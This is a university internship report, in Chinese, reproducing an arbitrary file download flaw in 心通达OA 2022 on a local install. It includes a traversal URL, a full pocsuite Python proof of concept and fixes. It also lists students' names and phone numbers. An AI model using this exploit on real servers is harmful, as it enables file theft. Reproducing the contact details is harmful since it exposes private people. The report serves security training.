**南开大学**

**实习实训漏洞复现报告**

**2022年7月21日**

目录

[1.漏洞复现结论（15分） 1](#_Toc28487)

[1.1风险等级分布 1](#_Toc7481)

[2.工作计划（25分） 1](#_Toc24528)

[2.1工作人员 1](#_Toc13939)

[2.2漏洞对象 1](#_Toc3137)

[2.3漏洞复现阶段 1](#_Toc7909)

[2.4风险等级 2](#_Toc1860)

[3.漏洞复现过程（35分） 2](#_Toc6133)

[3.1 风险管理及规避 2](#_Toc18532)

[3.2测试方法 2](#_Toc4033)

[3.3测试中所用的工具 2](#_Toc28445)

[4. 漏洞复现结果（25分） 3](#_Toc12892)

[4.1 POC插件编写 3](#_Toc32666)

[4.2 漏洞信息 3](#_Toc25120)

# 1.漏洞复现结论（15分）

第8组的安全人员采用科学的漏洞复现步骤于2022年7月18日至2022年7月21日对心通达OA进行了全面深入的漏洞复现。

本次共发现漏洞1个，其高危漏洞1个，中危漏洞0个,低危漏洞0个。

|  |  |  |
| --- | --- | --- |
| **序号** | **漏洞名称** | **风险值** |
| 1 | 心通达OA2022初夏版任意文件下载漏洞 | 高危 |
| 2 |  |  |
| 3 |  |  |

## 1.1风险等级分布

本次评估漏洞的详细风险等级分布如下：

# 2.工作计划（25分）

## 2.1工作人员

|  |  |  |  |
| --- | --- | --- | --- |
| 序号 | 职务 | 姓名 | 联系方式 |
| 1 | 组长 | 袁铭泽 | 13082490753 |
| 2 | 组员 | 许健 | 18356357915 |
| 3 | 组员 | 杜一凡 | 17744403620 |
| 4 | 组员 | 吕昆娴 | 15943548836 |
| 5 | 组员 | 运开 | 18532068598 |

## 2.2漏洞对象

心通达OA2022初夏版，在本地平台测试。

## 2.3漏洞复现阶段

|  |  |
| --- | --- |
| 项目阶段 | 工作内容 |
| 环境配置 | 在本地下载心通达OA2022初夏版，配置环境，可以通过127.0.0.1访问登陆界面表示环境运行成功 |
| 文件上传 | 使用默认用户名admin登陆，并在个人文件柜上传名为1.png的文件 |
| 任意文件下载 | 访问  <http://127.0.0.1:8080/file/downFileContent?contentId=1&sortName=../../>，得到下载的zip文件，里面为根目录下所有文件。 |
| Poc编写 | 编写poc代码，实现自动漏洞测试 |
|  |  |

## 2.4风险等级

|  |  |  |
| --- | --- | --- |
| 编号 | 风险等级 | 风险描述 |
| 1 | 高危 | 攻击者可以获取服务器内的任意文件，造成数据泄露的隐私问题和更大的服务器安全风险 |
| 2 |  |  |
| 3 |  |  |

# 3.漏洞复现过程（35分）

在本地下载心通达OA2022初夏版，配置环境，可以通过127.0.0.1访问登陆界面表示环境运行成功。使用默认用户名admin登陆，并在个人文件柜上传名为1.png的文件。上传成功后，访问

<http://127.0.0.1:8080/file/downFileContent?contentId=1&sortName=../../>，得到下载的zip文件，里面为根目录下所有文件。

## 3.1 风险管理及规避

将环境下载到本地进行实验，不要对线上的运营中的网站进行测试，以免造成信息泄露干扰正常运营。

## 3.2测试方法

在fofa.info查询在线测试子域名，在360指纹平台查询应用指纹。通过在burpsuite抓包放包的方式编写poc代码，并在python2的pocsuite环境下测试poc代码。

## 3.3测试中所用的工具

抓包工具：Burpsuite v2020.12.1

环境搭建：本地下载心通达OA2022初夏版

POC实现：python2环境配合pocsuite包

# 漏洞复现结果（25分）

## 4.1 POC插件编写

参考POC模板及任意文件读取下载案例模板进行poc插件编写。分为三个模块：首先通过抓包放包的方式进行登录，登录成功后，发包找到个人文件柜，上传本地文件1.png，根据返回包得到上传成功。上传成功后，发包访问文件下载的url，指定参数后会将指定的文件打成压缩包下载，根据返回的数据包中的状态attachment，确定poc成功，证明漏洞存在。

## 4.2 漏洞信息

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **UVD-ID** |  | **漏洞类别** | 任意文件读取下载漏洞 | **CVE-ID** |  |
| **披露/发现时间** | 2022.7.17 | **bugtraq编号** |  | **CNNVD-ID：** |  |
| **提交时间** | 2022.7.21 | **漏洞发现者** |  | **CNVD-ID：** |  |
| **漏洞等级** | 高危 | **提交者** | 吕昆娴、运开 | **搜索关键词** | 心通达OA、任意文件读取下载漏洞 |
| **影响范围** | 心通达OA2022初夏版 | | | | |
| **来源** |  | | | | |
| **漏洞简介** | 心通达OA2022初夏版存在任意文件下载漏洞，可以通过在个人文件柜上传文件后1.png，访问下载文件的url（http://127.0.0.1:8080/file/downFileContent?contentId=1&sortName=../../）达到任意文件下载的目的。 | | | | |
| **漏洞详情** |  | | | | |
| **参考链接** |  | | | | |
| **靶场信息** |  | | | | |
| **POC** | #!/usr/bin/env python  # -\*- coding: utf-8 -\*-  import time  from pocsuite.api.request import req  from pocsuite.api.poc import register, Output, POCBase  from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url, dnslog  import re  class TestPOC(POCBase):  vulID = ''''''  cveID = ''''''  cnvdID = ''''''  cnnvdID = ''''''  version = ''''''  author = ''''''  vulDate = ''''''  createDate = ''''''  updateDate = ''''''  name = ''''''  desc = ''''''  solution = ''''''  severity = ''''''  vulType = ''''''  taskType = ''''''  references = ['''''']  appName = ''''''  appVersion = ''''''  appPowerLink = ''''''  samples = ['']  install\_requires = ['''''']  def \_attack(self):  return self.\_verify()  def \_verify(self):  self.url,ip,port = parse\_ip\_port(self.target, 8080)  result = {}  s = req.session()  headers = {  'User-Agent':'Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0',  'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',  'Referer':self.url  }    path = '/login'  data = '''userAgent=pcc&loginId=1001&username=admin&password='''  vulur = make\_verify\_url(self.url, path, mod = 0)  base\_resp = s.post(vulur, headers = headers, verify = False, allow\_redirects = False, timeout = 10000, data = data)  if base\_resp.status\_code == 200 and '系统管理员' in base\_resp.content and 'redisSessionId' in base\_resp.headers['Set-Cookie']:  path\_1 = '''/main''' #refer的路径  path\_2 = '''/todoList/queryUserByUserId?userName=%E4%B8%AA%E4%BA%BA%E6%96%87%E4%BB%B6%E6%9F%9C&\_=1658242161059 ''' #提交请求的路径  vulurl\_1 = make\_verify\_url(self.url, path\_1, mod=0)  vulurl\_2 = make\_verify\_url(self.url, path\_2, mod=0)  headers\_1 = {  'User-Agent': 'Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0',  'Referer': vulurl\_1  }  resp = s.get(vulurl\_2, headers = headers\_1, verify = False, allow\_redirects = False, timeout = 10000)  #模拟搜索文件柜  if "flag" in resp.content and resp.status\_code == 200:  path\_3 = '''/newFilePri/personalFileCabinet'''  vulurl\_3 = make\_verify\_url(self.url, path\_3, mod=0)  resp = s.get(vulurl\_3, headers=headers\_1, verify=False, allow\_redirects=False, timeout = 10000)  #模拟点击文件柜  if "个人文件柜" in resp.content and resp.status\_code == 200:  path\_4='''/newFilePub/newFiles?sortId=0&text=&'''  vulurl\_4 = make\_verify\_url(self.url, path\_4, mod=0)  resp = s.get(vulurl\_4, headers=headers\_1, verify=False, allow\_redirects=False, timeout = 10000)  #模拟新建文件  if "文件内容" in resp.content and resp.status\_code == 200:  path\_5 = '''/upload?module=file\_folder'''  vulurl\_5 = make\_verify\_url(self.url, path\_5, mod=0)  headers\_5={  'User-Agent': 'Mozilla/5.0 (X11; Linux x86\_64; rv:78.0) Gecko/20100101 Firefox/78.0',  'Content-Type': 'multipart/form-data; boundary=---------------------------87496988812295579252070633351',  'Referer': vulurl\_4  }  boundary = '---------------------------87496988812295579252070633351'  data\_5 = []  data\_5.append('--%s' % boundary)  data\_5.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('file', 'test.png'))  data\_5.append( 'Content-Type: %s\r\n' %'img/png')  fr = open(r'/home/kali/Desktop/1.png') #这里放待上传的本地图片路径，图片名称为1.png  data\_5.append(fr.read())  fr.close()  data\_5.append('--%s--\r\n' % boundary)  httpbody='\r\n'.join(data\_5)  resp = s.post(vulurl\_5, headers=headers\_5, verify=False, allow\_redirects=False, data=httpbody, timeout = 10000) #模拟附件上传  if "attUrl" in resp.content and resp.status\_code == 200:  path = '''/file/downFileContent?contentId=1&sortName=./''' #访问新url下载zip包  vul\_url = make\_verify\_url(self.url, path, mod = 0)  Cookie = re.findall(r'(.\*?);', base\_resp.headers["Set-Cookie"])[0]  print(Cookie)  myurl=(self.url).replace("http://","") #url格式去掉http://  myurl=myurl.replace("/","")  headers1 = {  'Host':myurl,  "Cookie": Cookie  }  temp=req.session()  resp = temp.get(vul\_url, headers = headers1, verify = False, allow\_redirects = False, timeout = 10) #发包请求下载zip file  if ('content-disposition' in resp.headers or 'attachment; filename="./.zip"' in resp.headers) and resp.status\_code ==200:  #返回包中存在attachment即说明文件可以下载，漏洞验证存在  result['VerifyInfo'] = http\_packet(resp)  result['VerifyInfo']['URL'] = vul\_url  result['VerifyInfo']['port'] = port  result['VerifyInfo']['Content'] = resp.text[:200]  return self.parse\_output(result)  return self.parse\_output(result)  def parse\_output(self, result):  #parse output  output = Output(self)  if result:  output.success(result)  else:  output.fail('Internet nothing returned')  return output  register(TestPOC) | | | | |
| **修复方案** | 1. 过滤../等敏感字符，使用户在url中不能回溯上级目录 2. 文件下载时判断输入的路径，最好的方法是文件应该在数据库中进行一一对应，避免通过输入绝对路径来获取文件 3. php.ini配置open\_basedir限定文件访问范围 | | | | |